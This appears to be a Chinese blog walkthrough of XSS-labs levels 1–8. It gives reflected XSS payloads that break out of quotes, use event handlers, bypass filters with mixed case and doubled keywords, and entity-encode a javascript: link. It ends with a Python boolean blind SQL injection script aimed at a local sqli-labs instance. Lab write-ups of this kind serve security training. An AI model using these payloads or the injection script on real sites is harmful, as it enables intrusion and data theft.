当前位置: 首页 > news >正文

xss-labs的小练

第一关

1.查看源码发现name=test的test在html里面

2.所以直接在name那里添加<script>alert(123)</script>,通关

第二关

1.查看源码test和第一关一样的位置

2.直接尝试第一关方法

3.第一个test进行了html实体转义,但是第二个没有,我们只需要闭合掉双引号即可

"> <script>alert()</script> <"

第三关

1.随便输个test观察

2.先用上一关的测试一下

'> <script>alert()</script> <'

3.查看源码

4.使用onfocus事件绕过

' οnfοcus=javascript:alert() '

5.再点击输入框

第四关

1.先观察

2.这里是双引号闭合,<input>标签,所以我们还能继续利用onfocus事件,只不过换成双引号

" οnfοcus=javascript:alert() "

第五关

1.先尝试之前的能过不

2.这里on被替换成了o_n,先看一下这关的源码

3.过滤了js的标签还有onfocus事件,虽然str_replace不区分大小写,但是有小写字母转化函数,所以就不能用大小写法来绕过过滤了,只能新找一个方法进行xss注入

可以使用a href标签法,添加一个标签得闭合前面的标签

"> <a href=javascript:alert()>xxx</a> <"

4.之后点击xxx,触发a标签href属性即可

第六关

1.观察

2.先输入关键字测试看看

3.再试试大小写可以不

OnFocus <sCriPt> <a hReF=javascript:alert()>

4.发现大小写可以通过,则直接利用大小写

"> <sCript>alert()</sCript> <"

第七关

1.直接开测

"> <sCript>alert()</sCript> <"

可以看到sCript都被删了

2.可以用双拼写来完成

"> <scrscriptipt>alert()</scrscriptipt> <"

第八关

1.先输入123观察

2.输入的值插入了两个地方,第一个是input标签,第二个是href属性,老方法,先看看过滤了啥关键字

可以发现,input标签添加了html实体转化函数还把双引号也给实体化了, 添加了小写转化函数,还有过滤掉了src、data、onfocus、href、script、"(双引号)

3.看一下这关的源码

4.我们能利用href的隐藏属性自动Unicode解码,我们可以插入一段js伪协议

利用在线工具进行Unicode编码后得到

将javascript:alert()转化为

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;

接着我们直接输入编码

再点友情链接

就完成了

接下来是利用python脚本实现自动化布尔盲注的代码,二分法

import requests
import time# 目标URL
url = "http://127.0.0.1/sqli/Less-8/index.php"
SUCCESS_INDICATOR = "You are in..........."# 推断数据库名的长度 (使用二分法优化)
def get_database_length(max_length=50):low, high = 1, max_lengthwhile low <= high:mid = (low + high) // 2payload = f"1' AND length(database()) <= {mid} -- "response = send_request(payload)if response is None:  # 请求失败时安全处理return 0if SUCCESS_INDICATOR in response.text:# 检查是否正好是这个长度payload_exact = f"1' AND length(database()) = {mid} -- "if SUCCESS_INDICATOR in send_request(payload_exact).text:return midhigh = mid - 1else:low = mid + 1return 0  # 没找到有效长度# 使用稳健的二分法逐字符推断数据库名
def get_database_name(length):if length <= 0:return ""db_name = []for char_position in range(1, length + 1):low, high = 32, 126  # ASCII可打印字符范围while low <= high:mid = (low + high) // 2payload = f"1' AND ascii(substr(database(), {char_position}, 1)) <= {mid} -- "response = send_request(payload)if not response:return ""  # 请求失败时安全退出if SUCCESS_INDICATOR in response.text:# 检查是否正好是这个字符payload_equal = f"1' AND ascii(substr(database(), {char_position}, 1)) = {mid} -- "if SUCCESS_INDICATOR in send_request(payload_equal).text:db_name.append(chr(mid))breakhigh = mid - 1else:low = mid + 1# 如果没有找到有效字符,提前结束if low > high:return ""return ''.join(db_name)# 添加请求重试机制的封装函数
def send_request(payload, max_retries=3, timeout=5):for attempt in range(max_retries):try:response = requests.get(url,params={"id": payload},timeout=timeout)return responseexcept (requests.ConnectionError, requests.Timeout):print(f"请求失败,重试中 ({attempt + 1}/{max_retries})")time.sleep(1)print("错误: 无法连接到目标服务器")return None# 主函数
if __name__ == "__main__":db_length = get_database_length()if db_length > 0:print(f"数据库长度: {db_length}")db_name = get_database_name(db_length)print(f"数据库名称: {db_name}")else:print("无法确定数据库长度")

下面是运行结果

http://www.dtcms.com/a/282415.html

相关文章:

  • 基于faster-r-cnn行人检测和ResNet50+FPN的可见光红外图像多模态算法融合创新
  • VIVADO技巧_BUFGMUX时序优化
  • 比特币技术简史 第二章:密码学基础 - 哈希函数、公钥密码学与数字签名
  • 基于阿里云云服务器-局域网组网软件
  • Mfc初始化顺序
  • 【27】MFC入门到精通——MFC 修改用户界面登录IP IP Address Control
  • 虚幻引擎5 GAS开发俯视角RPG游戏 #06-7:无限游戏效果
  • 【28】MFC入门到精通——MFC串口 Combobox 控件实现串口号
  • 技术演进中的开发沉思-36 MFC系列: 对话框
  • Java并发编程(一)
  • LeetCode Hot 100 二叉树的最大深度
  • .NET 10 Preview 4 已发布
  • 【C# in .NET】9. 探秘委托:函数抽象的底层机制
  • 设置第三方窗口置顶(SetWindowPos方法,vb.net)
  • WMS仓储管理系统智能调控提升电子企业库存周转率
  • 系统启动流程分析
  • Linux-RAID
  • QML 五大对话框组件
  • 端口被占用时的解决问题
  • Egg.js × NestJS 2025 Nodejs后端框架选型指南
  • 代码随想录算法训练营十七天|二叉树part07
  • 【android bluetooth 协议分析 03】【蓝牙扫描详解 2】【app触发蓝牙扫描后,协议栈都做了那些事情】
  • 跨平台 App 如何无痛迁移到鸿蒙系统?全流程实战+Demo 教程
  • 八股文——包装类
  • Android 升级targetSdk无法启动服务
  • 动态规划题解——分割等和子集【LeetCode】
  • 面向向量检索的教育QA建模:九段日本文化研究所日本语学院的Prompt策略分析(6 / 500)
  • 知识点3:python-sdk 核心概念(prompt、image、context)
  • 有哪些好用的原型设计软件?墨刀、Axure等测评对比
  • MAC 苹果版Adobe Photoshop 2019下载及保姆级安装教程!!